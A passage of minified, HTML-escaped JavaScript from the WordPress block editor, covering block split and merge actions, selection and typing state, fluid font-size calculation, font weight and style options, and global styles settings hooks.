o.insertBlocks([e()],n.getBlockIndex(d.clientId)+1,s)}const x=g.attributes[k],S=m.attributes[v];let w=(0,de.create)({html:x}),C=(0,de.create)({html:S});w=(0,de.remove)(w,d.offset,w.text.length),C=(0,de.remove)(C,0,h.offset);let B={...g,innerBlocks:g.clientId===m.clientId?[]:g.innerBlocks,attributes:{...g.attributes,[k]:(0,de.toHTMLString)({value:w})}},I={...m,clientId:g.clientId===m.clientId?(0,p.createBlock)(m.name).clientId:m.clientId,attributes:{...m.attributes,[v]:(0,de.toHTMLString)({value:C})}};const j=(0,p.getDefaultBlockName)();if(g.clientId===m.clientId&amp;&amp;j&amp;&amp;I.name!==j&amp;&amp;n.canInsertBlockType(j,s)){const e=(0,p.switchToBlockType)(I,j);1===e?.length&amp;&amp;(I=e[0])}if(!e.length)return void o.replaceBlocks(n.getSelectedBlockClientIds(),[B,I]);let E;const M=[],P=[...e],R=P.shift(),A=(0,p.getBlockType)(B.name),N=A.merge&amp;&amp;R.name===A.name?[R]:(0,p.switchToBlockType)(R,A.name);if(N?.length){const e=N.shift();B={...B,attributes:{...B.attributes,...A.merge(B.attributes,e.attributes)}},M.push(B),E={clientId:B.clientId,attributeKey:k,offset:(0,de.create)({html:B.attributes[k]}).text.length},P.unshift(...N)}else(0,p.isUnmodifiedBlock)(B)||M.push(B),M.push(R);const L=P.pop(),D=(0,p.getBlockType)(I.name);if(P.length&amp;&amp;M.push(...P),L){const e=D.merge&amp;&amp;D.name===L.name?[L]:(0,p.switchToBlockType)(L,D.name);if(e?.length){const t=e.pop();M.push({...I,attributes:{...I.attributes,...D.merge(t.attributes,I.attributes)}}),M.push(...e),E={clientId:I.clientId,attributeKey:v,offset:(0,de.create)({html:t.attributes[v]}).text.length}}else M.push(L),(0,p.isUnmodifiedBlock)(I)||M.push(I)}else(0,p.isUnmodifiedBlock)(I)||M.push(I);t.batch((()=&gt;{o.replaceBlocks(n.getSelectedBlockClientIds(),M,M.length-1,0),E&amp;&amp;o.selectionChange(E.clientId,E.attributeKey,E.offset,E.offset)}))},Kr=()=&gt;({select:e,dispatch:t})=&gt;{const n=e.getSelectionStart(),o=e.getSelectionEnd();t.selectionChange({start:{clientId:n.clientId},end:{clientId:o.clientId}})},Zr=(e,t)=&gt;({registry:n,select:o,dispatch:r})=&gt;{const i=e,s=t,l=o.getBlock(i),a=(0,p.getBlockType)(l.name);if(!a||&quot;disabled&quot;===o.getBlockEditingMode(i)||&quot;disabled&quot;===o.getBlockEditingMode(s))return;const c=o.getBlock(s);if(!a.merge&amp;&amp;(0,p.getBlockSupport)(l.name,&quot;__experimentalOnMerge&quot;)){const e=(0,p.switchToBlockType)(c,a.name);if(1!==e?.length)return void r.selectBlock(l.clientId);const[t]=e;return t.innerBlocks.length&lt;1?void r.selectBlock(l.clientId):void n.batch((()=&gt;{r.insertBlocks(t.innerBlocks,void 0,i),r.removeBlock(s),r.selectBlock(t.innerBlocks[0].clientId);const e=o.getNextBlockClientId(i);if(e&amp;&amp;o.getBlockName(i)===o.getBlockName(e)){const t=o.getBlockAttributes(i),n=o.getBlockAttributes(e);Object.keys(t).every((e=&gt;t[e]===n[e]))&amp;&amp;(r.moveBlocksToPosition(o.getBlockOrder(e),e,i),r.removeBlock(e,!1))}}))}if((0,p.isUnmodifiedDefaultBlock)(l))return void r.removeBlock(i,o.isBlockSelected(i));if((0,p.isUnmodifiedDefaultBlock)(c))return void r.removeBlock(s,o.isBlockSelected(s));if(!a.merge)return void((0,p.isUnmodifiedBlock)(c,&quot;content&quot;)?r.removeBlock(s,o.isBlockSelected(s)):r.selectBlock(l.clientId));const u=(0,p.getBlockType)(c.name),{clientId:d,attributeKey:h,offset:g}=o.getSelectionStart(),m=(d===i?a:u).attributes[h],f=(d===i||d===s)&amp;&amp;void 0!==h&amp;&amp;void 0!==g&amp;&amp;!!m;m||(&quot;number&quot;==typeof h?window.console.error(&quot;RichText needs an identifier prop that is the block attribute key of the attribute it controls. Its type is expected to be a string, but was &quot;+typeof h):window.console.error(&quot;The RichText identifier prop does not match any attributes defined by the block.&quot;));const b=(0,p.cloneBlock)(l),k=(0,p.cloneBlock)(c);if(f){const e=d===i?b:k,t=e.attributes[h],n=(0,de.insert)((0,de.create)({html:t}),hr,g,g);e.attributes[h]=(0,de.toHTMLString)({value:n})}const v=l.name===c.name?[k]:(0,p.switchToBlockType)(k,l.name);if(!v||!v.length)return;const _=a.merge(b.attributes,v[0].attributes);if(f){const e=gr(_),t=_[e],n=(0,de.create)({html:t}),o=n.text.indexOf(hr),i=(0,de.remove)(n,o,o+1),s=(0,de.toHTMLString)({value:i});_[e]=s,r.selectionChange(l.clientId,e,o,o)}r.replaceBlocks([l.clientId,c.clientId],[{...l,attributes:{...l.attributes,..._}},...v.slice(1)],0)},qr=(e,t=!0)=&gt;Ko(e,t);function Yr(e,t){return qr([e],t)}function Xr(e,t,n=!1,o=0){return{type:&quot;REPLACE_INNER_BLOCKS&quot;,rootClientId:e,blocks:t,updateSelection:n,initialPosition:n?o:null,time:Date.now()}}function Qr(e){return{type:&quot;TOGGLE_BLOCK_MODE&quot;,clientId:e}}function Jr(){return{type:&quot;START_TYPING&quot;}}function ei(){return{type:&quot;STOP_TYPING&quot;}}function ti(e=[]){return{type:&quot;START_DRAGGING_BLOCKS&quot;,clientIds:e}}function ni(){return{type:&quot;STOP_DRAGGING_BLOCKS&quot;}}function oi(){return I()(&#039;wp.data.dispatch( &quot;core/block-editor&quot; ).enterFormattedText&#039;,{since:&quot;6.1&quot;,version:&quot;6.3&quot;}),{type:&quot;DO_NOTHING&quot;}}function ri(){return I()(&#039;wp.data.dispatch( &quot;core/block-editor&quot; ).exitFormattedText&#039;,{since:&quot;6.1&quot;,version:&quot;6.3&quot;}),{type:&quot;DO_NOTHING&quot;}}function ii(e,t,n,o){return&quot;string&quot;==typeof e?{type:&quot;SELECTION_CHANGE&quot;,clientId:e,attributeKey:t,startOffset:n,endOffset:o}:{type:&quot;SELECTION_CHANGE&quot;,...e}}const si=(e,t,n)=&gt;({dispatch:o})=&gt;{const r=(0,p.getDefaultBlockName)();if(!r)return;const i=(0,p.createBlock)(r,e);return o.insertBlock(i,n,t)};function li(e,t){return{type:&quot;UPDATE_BLOCK_LIST_SETTINGS&quot;,clientId:e,settings:t}}function ai(e){return Go(e,{stripExperimentalSettings:!0})}function ci(e,t){return{type:&quot;SAVE_REUSABLE_BLOCK_SUCCESS&quot;,id:e,updatedId:t}}function ui(){return{type:&quot;MARK_LAST_CHANGE_AS_PERSISTENT&quot;}}function di(){return{type:&quot;MARK_NEXT_CHANGE_AS_NOT_PERSISTENT&quot;}}const pi=()=&gt;({dispatch:e})=&gt;{e({type:&quot;MARK_AUTOMATIC_CHANGE&quot;});const{requestIdleCallback:t=e=&gt;setTimeout(e,100)}=window;t((()=&gt;{e({type:&quot;MARK_AUTOMATIC_CHANGE_FINAL&quot;})}))},hi=e=&gt;({registry:t})=&gt;{t.dispatch(pr.store).set(&quot;core&quot;,&quot;editorTool&quot;,e),&quot;navigation&quot;===e?(0,Ho.speak)((0,T.__)(&quot;You are currently in Write mode.&quot;)):&quot;edit&quot;===e&amp;&amp;(0,Ho.speak)((0,T.__)(&quot;You are currently in Design mode.&quot;))};function gi(){return I()(&#039;wp.data.dispatch( &quot;core/block-editor&quot; ).setBlockMovingClientId&#039;,{since:&quot;6.7&quot;,hint:&quot;Block moving mode feature has been removed&quot;}),{type:&quot;DO_NOTHING&quot;}}const mi=(e,t=!0)=&gt;({select:n,dispatch:o})=&gt;{if(!e||!e.length)return;const r=n.getBlocksByClientId(e);if(r.some((e=&gt;!e)))return;if(r.map((e=&gt;e.name)).some((e=&gt;!(0,p.hasBlockSupport)(e,&quot;multiple&quot;,!0))))return;const i=n.getBlockRootClientId(e[0]),s=fr(e),l=n.getBlockIndex(s[s.length-1]),a=r.map((e=&gt;(0,p.__experimentalCloneSanitizedBlock)(e)));return o.insertBlocks(a,l+1,i,t),a.length&gt;1&amp;&amp;t&amp;&amp;o.multiSelect(a[0].clientId,a[a.length-1].clientId),a.map((e=&gt;e.clientId))},fi=e=&gt;({select:t,dispatch:n})=&gt;{if(!e)return;const o=t.getBlockRootClientId(e);if(t.getTemplateLock(o))return;const r=t.getBlockIndex(e),i=o?t.getDirectInsertBlock(o):null;if(!i)return n.insertDefaultBlock({},o,r);const s={};if(i.attributesToCopy){const n=t.getBlockAttributes(e);i.attributesToCopy.forEach((e=&gt;{n[e]&amp;&amp;(s[e]=n[e])}))}const l=(0,p.createBlock)(i.name,{...i.attributes,...s});return n.insertBlock(l,r,o)},bi=e=&gt;({select:t,dispatch:n})=&gt;{if(!e)return;const o=t.getBlockRootClientId(e);if(t.getTemplateLock(o))return;const r=t.getBlockIndex(e),i=o?t.getDirectInsertBlock(o):null;if(!i)return n.insertDefaultBlock({},o,r+1);const s={};if(i.attributesToCopy){const n=t.getBlockAttributes(e);i.attributesToCopy.forEach((e=&gt;{n[e]&amp;&amp;(s[e]=n[e])}))}const l=(0,p.createBlock)(i.name,{...i.attributes,...s});return n.insertBlock(l,r+1,o)};function ki(e,t){return{type:&quot;TOGGLE_BLOCK_HIGHLIGHT&quot;,clientId:e,isHighlighted:t}}const vi=(e,t=150)=&gt;async({dispatch:n})=&gt;{n(ki(e,!0)),await new Promise((e=&gt;setTimeout(e,t))),n(ki(e,!1))};function _i(e,t){return{type:&quot;SET_HAS_CONTROLLED_INNER_BLOCKS&quot;,hasControlledInnerBlocks:t,clientId:e}}function yi(e){return{type:&quot;SET_BLOCK_VISIBILITY&quot;,updates:e}}function xi(e,t){return{type:&quot;SET_TEMPORARILY_EDITING_AS_BLOCKS&quot;,temporarilyEditingAsBlocks:e,focusModeToRevert:t}}const Si=e=&gt;({select:t,dispatch:n})=&gt;{if(!e||&quot;object&quot;!=typeof e)return void console.error(&quot;Category should be an `InserterMediaCategory` object.&quot;);if(!e.name)return void console.error(&quot;Category should have a `name` that should be unique among all media categories.&quot;);if(!e.labels?.name)return void console.error(&quot;Category should have a `labels.name`.&quot;);if(![&quot;image&quot;,&quot;audio&quot;,&quot;video&quot;].includes(e.mediaType))return void console.error(&quot;Category should have `mediaType` property that is one of `image|audio|video`.&quot;);if(!e.fetch||&quot;function&quot;!=typeof e.fetch)return void console.error(&quot;Category should have a `fetch` function defined with the following signature `(InserterMediaRequest) =&gt; Promise&lt;InserterMediaItem[]&gt;`.&quot;);const o=t.getRegisteredInserterMediaCategories();o.some((({name:t})=&gt;t===e.name))?console.error(`A category is already registered with the same name: &quot;${e.name}&quot;.`):o.some((({labels:{name:t}={}})=&gt;t===e.labels?.name))?console.error(`A category is already registered with the same labels.name: &quot;${e.labels.name}&quot;.`):n({type:&quot;REGISTER_INSERTER_MEDIA_CATEGORY&quot;,category:{...e,isExternalResource:!0}})};function wi(e=&quot;&quot;,t){return{type:&quot;SET_BLOCK_EDITING_MODE&quot;,clientId:e,mode:t}}function Ci(e=&quot;&quot;){return{type:&quot;UNSET_BLOCK_EDITING_MODE&quot;,clientId:e}}const Bi={reducer:ae,selectors:t,actions:i},Ii=(0,g.createReduxStore)(he,{...Bi,persist:[&quot;preferences&quot;]}),ji=(0,g.registerStore)(he,{...Bi,persist:[&quot;preferences&quot;]});function Ei(...e){const{clientId:t=null}=C();return(0,g.useSelect)((n=&gt;U(n(Ii)).getBlockSettings(t,...e)),[t,...e])}function Ti(e){I()(&quot;wp.blockEditor.useSetting&quot;,{since:&quot;6.5&quot;,alternative:&quot;wp.blockEditor.useSettings&quot;,note:&quot;The new useSettings function can retrieve multiple settings at once, with better performance.&quot;});const[t]=Ei(e);return t}U(ji).registerPrivateActions(r),U(ji).registerPrivateSelectors(e),U(Ii).registerPrivateActions(r),U(Ii).registerPrivateSelectors(e);const Mi=window.wp.styleEngine,Pi=&quot;1600px&quot;,Ri=&quot;320px&quot;,Ai=1,Ni=.25,Li=.75,Di=&quot;14px&quot;;function Oi({minimumFontSize:e,maximumFontSize:t,fontSize:n,minimumViewportWidth:o=Ri,maximumViewportWidth:r=Pi,scaleFactor:i=Ai,minimumFontSizeLimit:s}){if(s=zi(s)?s:Di,n){const o=zi(n);if(!o?.unit)return null;const r=zi(s,{coerceTo:o.unit});if(r?.value&amp;&amp;!e&amp;&amp;!t&amp;&amp;o?.value&lt;=r?.value)return null;if(t||(t=`${o.value}${o.unit}`),!e){const t=&quot;px&quot;===o.unit?o.value:16*o.value,n=Math.min(Math.max(1-.075*Math.log2(t),Ni),Li),i=Vi(o.value*n,3);e=r?.value&amp;&amp;i&lt;r?.value?`${r.value}${r.unit}`:`${i}${o.unit}`}}const l=zi(e),a=l?.unit||&quot;rem&quot;,c=zi(t,{coerceTo:a});if(!l||!c)return null;const u=zi(e,{coerceTo:&quot;rem&quot;}),d=zi(r,{coerceTo:a}),p=zi(o,{coerceTo:a});if(!d||!p||!u)return null;const h=d.value-p.value;if(!h)return null;const g=Vi(p.value/100,3),m=Vi(g,3)+a,f=Vi(((c.value-l.value)/h*100||1)*i,3);return`clamp(${e}, ${`${u.value}${u.unit} + ((1vw - ${m}) * ${f})`}, ${t})`}function zi(e,t={}){if(&quot;string&quot;!=typeof e&amp;&amp;&quot;number&quot;!=typeof e)return null;isFinite(e)&amp;&amp;(e=`${e}px`);const{coerceTo:n,rootSizeValue:o,acceptableUnits:r}={coerceTo:&quot;&quot;,rootSizeValue:16,acceptableUnits:[&quot;rem&quot;,&quot;px&quot;,&quot;em&quot;],...t},i=r?.join(&quot;|&quot;),s=new RegExp(`^(\\d*\\.?\\d+)(${i}){1,1}$`),l=e.match(s);if(!l||l.length&lt;3)return null;let[,a,c]=l,u=parseFloat(a);return&quot;px&quot;!==n||&quot;em&quot;!==c&amp;&amp;&quot;rem&quot;!==c||(u*=o,c=n),&quot;px&quot;!==c||&quot;em&quot;!==n&amp;&amp;&quot;rem&quot;!==n||(u/=o,c=n),&quot;em&quot;!==n&amp;&amp;&quot;rem&quot;!==n||&quot;em&quot;!==c&amp;&amp;&quot;rem&quot;!==c||(c=n),{value:Vi(u,3),unit:c}}function Vi(e,t=3){const n=Math.pow(10,t);return Number.isFinite(e)?parseFloat(Math.round(e*n)/n):void 0}function Fi(e){if(!e)return{};if(&quot;object&quot;==typeof e)return e;let t;switch(e){case&quot;normal&quot;:case&quot;400&quot;:t=(0,T._x)(&quot;Regular&quot;,&quot;font weight&quot;);break;case&quot;bold&quot;:case&quot;700&quot;:t=(0,T._x)(&quot;Bold&quot;,&quot;font weight&quot;);break;case&quot;100&quot;:t=(0,T._x)(&quot;Thin&quot;,&quot;font weight&quot;);break;case&quot;200&quot;:t=(0,T._x)(&quot;Extra Light&quot;,&quot;font weight&quot;);break;case&quot;300&quot;:t=(0,T._x)(&quot;Light&quot;,&quot;font weight&quot;);break;case&quot;500&quot;:t=(0,T._x)(&quot;Medium&quot;,&quot;font weight&quot;);break;case&quot;600&quot;:t=(0,T._x)(&quot;Semi Bold&quot;,&quot;font weight&quot;);break;case&quot;800&quot;:t=(0,T._x)(&quot;Extra Bold&quot;,&quot;font weight&quot;);break;case&quot;900&quot;:t=(0,T._x)(&quot;Black&quot;,&quot;font weight&quot;);break;case&quot;1000&quot;:t=(0,T._x)(&quot;Extra Black&quot;,&quot;font weight&quot;);break;default:t=e}return{name:t,value:e}}const Hi=[{name:(0,T._x)(&quot;Regular&quot;,&quot;font style&quot;),value:&quot;normal&quot;},{name:(0,T._x)(&quot;Italic&quot;,&quot;font style&quot;),value:&quot;italic&quot;}],Ui=[{name:(0,T._x)(&quot;Thin&quot;,&quot;font weight&quot;),value:&quot;100&quot;},{name:(0,T._x)(&quot;Extra Light&quot;,&quot;font weight&quot;),value:&quot;200&quot;},{name:(0,T._x)(&quot;Light&quot;,&quot;font weight&quot;),value:&quot;300&quot;},{name:(0,T._x)(&quot;Regular&quot;,&quot;font weight&quot;),value:&quot;400&quot;},{name:(0,T._x)(&quot;Medium&quot;,&quot;font weight&quot;),value:&quot;500&quot;},{name:(0,T._x)(&quot;Semi Bold&quot;,&quot;font weight&quot;),value:&quot;600&quot;},{name:(0,T._x)(&quot;Bold&quot;,&quot;font weight&quot;),value:&quot;700&quot;},{name:(0,T._x)(&quot;Extra Bold&quot;,&quot;font weight&quot;),value:&quot;800&quot;},{name:(0,T._x)(&quot;Black&quot;,&quot;font weight&quot;),value:&quot;900&quot;},{name:(0,T._x)(&quot;Extra Black&quot;,&quot;font weight&quot;),value:&quot;1000&quot;}];function Gi(e){let t=[],n=[];const o=[],r=!e||0===e?.length;let i=!1;return e?.forEach((e=&gt;{if(&quot;string&quot;==typeof e.fontWeight&amp;&amp;/\s/.test(e.fontWeight.trim())){i=!0;let[t,o]=e.fontWeight.split(&quot; &quot;);t=parseInt(t.slice(0,1)),o=&quot;1000&quot;===o?10:parseInt(o.slice(0,1));for(let e=t;e&lt;=o;e++){const t=`${e.toString()}00`;n.some((e=&gt;e.value===t))||n.push(Fi(t))}}const o=Fi(&quot;number&quot;==typeof e.fontWeight?e.fontWeight.toString():e.fontWeight),r=function(e){if(!e)return{};if(&quot;object&quot;==typeof e)return e;let t;switch(e){case&quot;normal&quot;:t=(0,T._x)(&quot;Regular&quot;,&quot;font style&quot;);break;case&quot;italic&quot;:t=(0,T._x)(&quot;Italic&quot;,&quot;font style&quot;);break;case&quot;oblique&quot;:t=(0,T._x)(&quot;Oblique&quot;,&quot;font style&quot;);break;default:t=e}return{name:t,value:e}}(e.fontStyle);r&amp;&amp;Object.keys(r).length&amp;&amp;(t.some((e=&gt;e.value===r.value))||t.push(r)),o&amp;&amp;Object.keys(o).length&amp;&amp;(n.some((e=&gt;e.value===o.value))||i||n.push(o))})),n.some((e=&gt;e.value&gt;=&quot;600&quot;))||n.push({name:(0,T._x)(&quot;Bold&quot;,&quot;font weight&quot;),value:&quot;700&quot;}),t.some((e=&gt;&quot;italic&quot;===e.value))||t.push({name:(0,T._x)(&quot;Italic&quot;,&quot;font style&quot;),value:&quot;italic&quot;}),r&amp;&amp;(t=Hi,n=Ui),t=0===t.length?Hi:t,n=0===n.length?Ui:n,t.forEach((({name:e,value:t})=&gt;{n.forEach((({name:n,value:r})=&gt;{const i=&quot;normal&quot;===t?n:(0,T.sprintf)((0,T._x)(&quot;%1$s %2$s&quot;,&quot;font&quot;),n,e);o.push({key:`${t}-${r}`,name:i,style:{fontStyle:t,fontWeight:r}})}))})),{fontStyles:t,fontWeights:n,combinedStyleAndWeightOptions:o,isSystemFont:r,isVariableFont:i}}function $i(e,t){const{size:n}=e;if(!n||&quot;0&quot;===n||!1===e?.fluid)return n;if(!Wi(t?.typography)&amp;&amp;!Wi(e))return n;let o=function(e){const t=e?.typography,n=e?.layout,o=zi(n?.wideSize)?n?.wideSize:null;return Wi(t)&amp;&amp;o?{fluid:{maxViewportWidth:o,...t.fluid}}:{fluid:t?.fluid}}(t);o=&quot;object&quot;==typeof o?.fluid?o?.fluid:{};const r=Oi({minimumFontSize:e?.fluid?.min,maximumFontSize:e?.fluid?.max,fontSize:n,minimumFontSizeLimit:o?.minFontSize,maximumViewportWidth:o?.maxViewportWidth,minimumViewportWidth:o?.minViewportWidth});return r||n}function Wi(e){const t=e?.fluid;return!0===t||t&amp;&amp;&quot;object&quot;==typeof t&amp;&amp;Object.keys(t).length&gt;0}function Ki(e,t){if(!(t=&quot;number&quot;==typeof t?t.toString():t)||&quot;string&quot;!=typeof t)return&quot;&quot;;if(!e||0===e.length)return t;const n=e?.reduce(((e,{value:n})=&gt;Math.abs(parseInt(n)-parseInt(t))&lt;Math.abs(parseInt(e)-parseInt(t))?n:e),e[0]?.value);return n}const Zi=&quot;body&quot;,qi=&quot;:root&quot;,Yi=[{path:[&quot;color&quot;,&quot;palette&quot;],valueKey:&quot;color&quot;,cssVarInfix:&quot;color&quot;,classes:[{classSuffix:&quot;color&quot;,propertyName:&quot;color&quot;},{classSuffix:&quot;background-color&quot;,propertyName:&quot;background-color&quot;},{classSuffix:&quot;border-color&quot;,propertyName:&quot;border-color&quot;}]},{path:[&quot;color&quot;,&quot;gradients&quot;],valueKey:&quot;gradient&quot;,cssVarInfix:&quot;gradient&quot;,classes:[{classSuffix:&quot;gradient-background&quot;,propertyName:&quot;background&quot;}]},{path:[&quot;color&quot;,&quot;duotone&quot;],valueKey:&quot;colors&quot;,cssVarInfix:&quot;duotone&quot;,valueFunc:({slug:e})=&gt;`url( &#039;#wp-duotone-${e}&#039; )`,classes:[]},{path:[&quot;shadow&quot;,&quot;presets&quot;],valueKey:&quot;shadow&quot;,cssVarInfix:&quot;shadow&quot;,classes:[]},{path:[&quot;typography&quot;,&quot;fontSizes&quot;],valueFunc:(e,t)=&gt;$i(e,t),valueKey:&quot;size&quot;,cssVarInfix:&quot;font-size&quot;,classes:[{classSuffix:&quot;font-size&quot;,propertyName:&quot;font-size&quot;}]},{path:[&quot;typography&quot;,&quot;fontFamilies&quot;],valueKey:&quot;fontFamily&quot;,cssVarInfix:&quot;font-family&quot;,classes:[{classSuffix:&quot;font-family&quot;,propertyName:&quot;font-family&quot;}]},{path:[&quot;spacing&quot;,&quot;spacingSizes&quot;],valueKey:&quot;size&quot;,cssVarInfix:&quot;spacing&quot;,classes:[]},{path:[&quot;border&quot;,&quot;radiusSizes&quot;],valueKey:&quot;size&quot;,cssVarInfix:&quot;border-radius&quot;,classes:[]}],Xi={&quot;color.background&quot;:&quot;color&quot;,&quot;color.text&quot;:&quot;color&quot;,&quot;filter.duotone&quot;:&quot;duotone&quot;,&quot;elements.link.color.text&quot;:&quot;color&quot;,&quot;elements.link.:hover.color.text&quot;:&quot;color&quot;,&quot;elements.link.typography.fontFamily&quot;:&quot;font-family&quot;,&quot;elements.link.typography.fontSize&quot;:&quot;font-size&quot;,&quot;elements.button.color.text&quot;:&quot;color&quot;,&quot;elements.button.color.background&quot;:&quot;color&quot;,&quot;elements.caption.color.text&quot;:&quot;color&quot;,&quot;elements.button.typography.fontFamily&quot;:&quot;font-family&quot;,&quot;elements.button.typography.fontSize&quot;:&quot;font-size&quot;,&quot;elements.heading.color&quot;:&quot;color&quot;,&quot;elements.heading.color.background&quot;:&quot;color&quot;,&quot;elements.heading.typography.fontFamily&quot;:&quot;font-family&quot;,&quot;elements.heading.gradient&quot;:&quot;gradient&quot;,&quot;elements.heading.color.gradient&quot;:&quot;gradient&quot;,&quot;elements.h1.color&quot;:&quot;color&quot;,&quot;elements.h1.color.background&quot;:&quot;color&quot;,&quot;elements.h1.typography.fontFamily&quot;:&quot;font-family&quot;,&quot;elements.h1.color.gradient&quot;:&quot;gradient&quot;,&quot;elements.h2.color&quot;:&quot;color&quot;,&quot;elements.h2.color.background&quot;:&quot;color&quot;,&quot;elements.h2.typography.fontFamily&quot;:&quot;font-family&quot;,&quot;elements.h2.color.gradient&quot;:&quot;gradient&quot;,&quot;elements.h3.color&quot;:&quot;color&quot;,&quot;elements.h3.color.background&quot;:&quot;color&quot;,&quot;elements.h3.typography.fontFamily&quot;:&quot;font-family&quot;,&quot;elements.h3.color.gradient&quot;:&quot;gradient&quot;,&quot;elements.h4.color&quot;:&quot;color&quot;,&quot;elements.h4.color.background&quot;:&quot;color&quot;,&quot;elements.h4.typography.fontFamily&quot;:&quot;font-family&quot;,&quot;elements.h4.color.gradient&quot;:&quot;gradient&quot;,&quot;elements.h5.color&quot;:&quot;color&quot;,&quot;elements.h5.color.background&quot;:&quot;color&quot;,&quot;elements.h5.typography.fontFamily&quot;:&quot;font-family&quot;,&quot;elements.h5.color.gradient&quot;:&quot;gradient&quot;,&quot;elements.h6.color&quot;:&quot;color&quot;,&quot;elements.h6.color.background&quot;:&quot;color&quot;,&quot;elements.h6.typography.fontFamily&quot;:&quot;font-family&quot;,&quot;elements.h6.color.gradient&quot;:&quot;gradient&quot;,&quot;color.gradient&quot;:&quot;gradient&quot;,shadow:&quot;shadow&quot;,&quot;typography.fontSize&quot;:&quot;font-size&quot;,&quot;typography.fontFamily&quot;:&quot;font-family&quot;};function Qi(){return(0,m.useViewportMatch)(&quot;medium&quot;,&quot;&lt;&quot;)?{}:{popoverProps:{placement:&quot;left-start&quot;,offset:259}}}function Ji(e,t,n,o,r){const i=[me(e,[&quot;blocks&quot;,t,...n]),me(e,n)];for(const s of i)if(s){const i=[&quot;custom&quot;,&quot;theme&quot;,&quot;default&quot;];for(const l of i){const i=s[l];if(i){const s=i.find((e=&gt;e[o]===r));if(s){if(&quot;slug&quot;===o)return s;return Ji(e,t,n,&quot;slug&quot;,s.slug)[o]===s[o]?s:void 0}}}}}function es(e,t,n){if(!n||&quot;string&quot;!=typeof n){if(&quot;string&quot;!=typeof n?.ref)return n;if(!(n=me(e,n.ref))||n?.ref)return n}const o=&quot;var:&quot;,r=&quot;var(--wp--&quot;;let i;if(n.startsWith(o))i=n.slice(4).split(&quot;|&quot;);else{if(!n.startsWith(r)||!n.endsWith(&quot;)&quot;))return n;i=n.slice(10,-1).split(&quot;--&quot;)}const[s,...l]=i;return&quot;preset&quot;===s?function(e,t,n,[o,r]){const i=Yi.find((e=&gt;e.cssVarInfix===o));if(!i)return n;const s=Ji(e.settings,t,i.path,&quot;slug&quot;,r);if(s){const{valueKey:n}=i;return es(e,t,s[n])}return n}(e,t,n,l):&quot;custom&quot;===s?function(e,t,n,o){const r=me(e.settings,[&quot;blocks&quot;,t,&quot;custom&quot;,...o])??me(e.settings,[&quot;custom&quot;,...o]);return r?es(e,t,r):n}(e,t,n,l):n}function ts(e,t){if(!e||!t)return t;const n=e.split(&quot;,&quot;),o=t.split(&quot;,&quot;),r=[];return n.forEach((e=&gt;{o.forEach((t=&gt;{r.push(`${e.trim()} ${t.trim()}`)}))})),r.join(&quot;, &quot;)}function ns(e,t){return&quot;object&quot;!=typeof e||&quot;object&quot;!=typeof t?e===t:E()(e?.styles,t?.styles)&amp;&amp;E()(e?.settings,t?.settings)}function os(e,t){if(!e||!t)return e;const n=function(e,t){if(!e||!t)return e;if(&quot;string&quot;!=typeof e&amp;&amp;e?.ref){const n=(0,Mi.getCSSValueFromRawStyle)(me(t,e.ref));if(n?.ref)return;return void 0===n?e:n}return e}(e,t);return n?.url&amp;&amp;(n.url=function(e,t){if(!e||!t||!Array.isArray(t))return e;const n=t.find((t=&gt;t?.name===e));return n?.href?n?.href:e}(n.url,t?._links?.[&quot;wp:theme-file&quot;])),n}const rs=(0,h.createContext)({user:{},base:{},merged:{},setUserConfig:()=&gt;{}});rs.displayName=&quot;GlobalStylesContext&quot;;const is={settings:{},styles:{}},ss=[&quot;appearanceTools&quot;,&quot;useRootPaddingAwareAlignments&quot;,&quot;background.backgroundImage&quot;,&quot;background.backgroundRepeat&quot;,&quot;background.backgroundSize&quot;,&quot;background.backgroundPosition&quot;,&quot;border.color&quot;,&quot;border.radius&quot;,&quot;border.style&quot;,&quot;border.width&quot;,&quot;border.radiusSizes&quot;,&quot;shadow.presets&quot;,&quot;shadow.defaultPresets&quot;,&quot;color.background&quot;,&quot;color.button&quot;,&quot;color.caption&quot;,&quot;color.custom&quot;,&quot;color.customDuotone&quot;,&quot;color.customGradient&quot;,&quot;color.defaultDuotone&quot;,&quot;color.defaultGradients&quot;,&quot;color.defaultPalette&quot;,&quot;color.duotone&quot;,&quot;color.gradients&quot;,&quot;color.heading&quot;,&quot;color.link&quot;,&quot;color.palette&quot;,&quot;color.text&quot;,&quot;custom&quot;,&quot;dimensions.aspectRatio&quot;,&quot;dimensions.minHeight&quot;,&quot;layout.contentSize&quot;,&quot;layout.definitions&quot;,&quot;layout.wideSize&quot;,&quot;lightbox.enabled&quot;,&quot;lightbox.allowEditing&quot;,&quot;position.fixed&quot;,&quot;position.sticky&quot;,&quot;spacing.customSpacingSize&quot;,&quot;spacing.defaultSpacingSizes&quot;,&quot;spacing.spacingSizes&quot;,&quot;spacing.spacingScale&quot;,&quot;spacing.blockGap&quot;,&quot;spacing.margin&quot;,&quot;spacing.padding&quot;,&quot;spacing.units&quot;,&quot;typography.fluid&quot;,&quot;typography.customFontSize&quot;,&quot;typography.defaultFontSizes&quot;,&quot;typography.dropCap&quot;,&quot;typography.fontFamilies&quot;,&quot;typography.fontSizes&quot;,&quot;typography.fontStyle&quot;,&quot;typography.fontWeight&quot;,&quot;typography.letterSpacing&quot;,&quot;typography.lineHeight&quot;,&quot;typography.textAlign&quot;,&quot;typography.textColumns&quot;,&quot;typography.textDecoration&quot;,&quot;typography.textTransform&quot;,&quot;typography.writingMode&quot;],ls=()=&gt;{const{user:e,setUserConfig:t}=(0,h.useContext)(rs),n={settings:e.settings,styles:e.styles};return[!!n&amp;&amp;!E()(n,is),(0,h.useCallback)((()=&gt;t(is)),[t])]};function as(e,t,n=&quot;all&quot;){const{setUserConfig:o,...r}=(0,h.useContext)(rs),i=t?&quot;.blocks.&quot;+t:&quot;&quot;,s=e?&quot;.&quot;+e:&quot;&quot;,l=`settings${i}${s}`,a=`settings${s}`,c=&quot;all&quot;===n?&quot;merged&quot;:n;return[(0,h.useMemo)((()=&gt;{const t=r[c];if(!t)throw&quot;Unsupported source&quot;;if(e)return me(t,l)??me(t,a);let n={};return ss.forEach((e=&gt;{const o=me(t,`settings${i}.${e}`)??me(t,`settings.${e}`);void 0!==o&amp;&amp;(n=ge(n,e.split(&quot;.&quot;),o))})),n}),[r,c,e,l,a,i]),e=&gt;{o((t=&gt;ge(t,l.split(&quot;.&quot;),e)))}]}function cs(e,t,n=&quot;all&quot;,{shouldDecodeEncode:o=!0}={}){const{merged:r,base:i,user:s,setUserConfig:l}=(0,h.useContext)(rs),a=e?&quot;.&quot;+e:&quot;&quot;,c=t?`styles.blocks.${t}${a}`:`styles${a}`;let 